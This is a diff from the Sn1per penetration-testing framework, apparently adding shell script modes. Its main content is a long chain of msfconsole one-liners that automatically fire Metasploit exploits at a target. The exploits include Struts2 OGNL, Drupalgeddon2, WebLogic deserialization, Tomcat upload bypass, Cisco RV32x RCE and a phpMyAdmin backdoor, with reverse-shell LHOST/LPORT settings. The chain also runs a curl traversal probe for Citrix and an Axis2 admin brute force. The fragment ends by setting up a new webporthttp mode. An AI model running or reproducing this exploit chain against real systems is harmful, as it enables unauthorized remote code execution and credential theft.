+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/windows/http/badblue_passthru; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-badblue_passthru.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-php_cgi_arg_injection.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOITS $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/htp/phpmyadmin_preg_replace; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-phpmyadmin_3522_backdoor.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING AXIS2 ADMIN BRUTE FORCE SCANNER $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/axis_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg USERNAME admin; setg PASS_FILE "$PASS_FILE"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis_login.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING AXIS2 AUTHENTICATED DEPLOYER RCE $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use multi/http/axis2_deployer; setg RHOSTS "$TARGET"; set FingerprintCheck false; setg RPORT "$PORT"; setg RHOST "$TARGET"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-axis2_deployer.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT CVE-2017-8917 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-joomla_comfields_sqli_rce.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING WORDPRESS REST API CONTENT INJECTION CVE-2017-5612 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use auxiliary/scanner/http/wordpress_content_injection; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-wordpress_content_injection.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING ORACLE WEBLOGIC WLS-WSAT DESERIALIZATION RCE CVE-2017-10271 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; set RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oracle_weblogic_wsat_deserialization_rce.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA OGNL INJECTION CVE-2017-5638 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use multi/http/struts2_content_type_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_content_type_ognl.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE STRUTS 2 SHOWCASE OGNL RCE CVE-2017-9805 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/struts2_rest_xstream; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_rest_xstream.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE STRUTS 2 REST XSTREAM RCE CVE-2017-9791 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/struts2_code_exec_showcase; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; set TARGETURI /orders/3; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_code_exec_showcase.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/tomcat_jsp_upload_bypass; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_jsp_upload_bypass.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE STRUTS 2 NAMESPACE REDIRECT OGNL INJECTION CVE-2018-11776 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/struts2_namespace_ognl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-struts2_namespace_ognl.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED CISCO ASA TRAVERSAL CVE-2018-0296 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use auxiliary/scanner/http/cisco_directory_traversal; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_directory_traversal.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/unix/webapp/drupal_drupalgeddon2; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupalgeddon2.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING ORACLE WEBLOGIC SERVER DESERIALIZATION RCE CVE-2018-2628 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-weblogic_deserialize.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING OSCOMMERCE INSTALLER RCE CVE-2018-2628 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/oscommerce_installer_unauth_code_exec; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-oscommerce_installer_unauth_code_exec.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING DRUPAL REST UNSERIALIZE CVE-2019-6340 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use unix/webapp/drupal_restws_unserialize; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_restws_unserialize.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING JAVA RMI SCANNER $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use auxiliary/scanner/misc/java_rmi_server; setg RHOSTS \"$TARGET\"; set RPORT \"$PORT\"; run; back; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING PULSE SECURE VPN ARBITRARY FILE DISCLOSURE EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use gather/pulse_secure_file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING CITRIX GATEWAY ARBITRARY CODE EXECUTION VULNERABILITY CVE-2019-19781 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            curl -vk --path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep "You don’t have permission to access /vpns/" >/dev/null && echo "VULNERABLE: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt || echo "MITIGATED: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING RAILS FILE EXPOSURE EXPLOIT CVE-2019-5418 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use auxiliary/gather/rails_doubletap_file_read; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-rails_doubletap_file_read.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING CISCO RV320 AND RV325 UNAUTHENTICATED RCE EXPLOIT CVE-2019-1653 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/linux/http/cisco_rv32x_rce; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw 2> /dev/null
+      fi
+      

modes/webporthttp.sh

@@ -0,0 +1,457 @@
+# WEBPORTHTTP MODE #####################################################################################################
+if [[ "$MODE" = "webporthttp" ]]; then
+  if [[ "$REPORT" = "1" ]]; then
+    if [[ ! -z "$WORKSPACE" ]]; then
+      args="$args -w $WORKSPACE"
+      LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $LOOT_DIR 2> /dev/null
+      mkdir $LOOT_DIR/domains 2> /dev/null
+      mkdir $LOOT_DIR/screenshots 2> /dev/null
+      mkdir $LOOT_DIR/nmap 2> /dev/null
+      mkdir $LOOT_DIR/notes 2> /dev/null
+      mkdir $LOOT_DIR/reports 2> /dev/null
+      mkdir $LOOT_DIR/scans 2> /dev/null
+      mkdir $LOOT_DIR/output 2> /dev/null
+    fi
+    echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+    echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt
+    ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+
+    echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1
+    exit
+  fi
+  echo -e "$OKRED                ____               $RESET"
+  echo -e "$OKRED    _________  /  _/___  ___  _____$RESET"
+  echo -e "$OKRED   / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
+  echo -e "$OKRED  (__  ) / / // // /_/ /  __/ /    $RESET"
+  echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/     $RESET"
+  echo -e "$OKRED               /_/                 $RESET"
+  echo -e "$RESET"
+  echo -e "$OKORANGE + -- --=[https://sn1persecurity.com"
+  echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
+  echo -e ""
+  echo -e ""
+  echo -e "               ;               ,           "
+  echo -e "             ,;                 '.         "
+  echo -e "            ;:                   :;        "
+  echo -e "           ::                     ::       "
+  echo -e "           ::                     ::       "
+  echo -e "           ':                     :        "
+  echo -e "            :.                    :        "
+  echo -e "         ;' ::                   ::  '     "
+  echo -e "        .'  ';                   ;'  '.    "
+  echo -e "       ::    :;                 ;:    ::   "
+  echo -e "       ;      :;.             ,;:     ::   "
+  echo -e "       :;      :;:           ,;\"      ::   "
+  echo -e "       ::.      ':;  ..,.;  ;:'     ,.;:   "
+  echo -e "        \"'\"...   '::,::::: ;:   .;.;\"\"'    "
+  echo -e "            '\"\"\"....;:::::;,;.;\"\"\"         "
+  echo -e "        .:::.....'\"':::::::'\",...;::::;.   "
+  echo -e "       ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\"  ':;   "
+  echo -e "      ::'         ;::;:::;::..         :;  "
+  echo -e "     ::         ,;:::::::::::;:..       :: "
+  echo -e "     ;'     ,;;:;::::::::::::::;\";..    ':."
+  echo -e "    ::     ;:\"  ::::::\"\"\"'::::::  \":     ::"
+  echo -e "     :.    ::   ::::::;  :::::::   :     ; "
+  echo -e "      ;    ::   :::::::  :::::::   :    ;  "
+  echo -e "       '   ::   ::::::....:::::'  ,:   '   "
+  echo -e "        '  ::    :::::::::::::\"   ::       "
+  echo -e "           ::     ':::::::::\"'    ::       "
+  echo -e "           ':       \"\"\"\"\"\"\"'      ::       "
+  echo -e "            ::                   ;:        "
+  echo -e "            ':;                 ;:\"        "
+  echo -e "    -hrr-     ';              ,;'          "
+  echo -e "                \"'           '\"            "
+  echo -e "                  ''''$RESET"
+  echo ""
+  echo "$TARGET" >> $LOOT_DIR/domains/targets.txt 2> /dev/null
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  port_http=$PORT
+  if [[ -z "$port_http" ]]; then
+    echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET"
+  else
+    echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET"
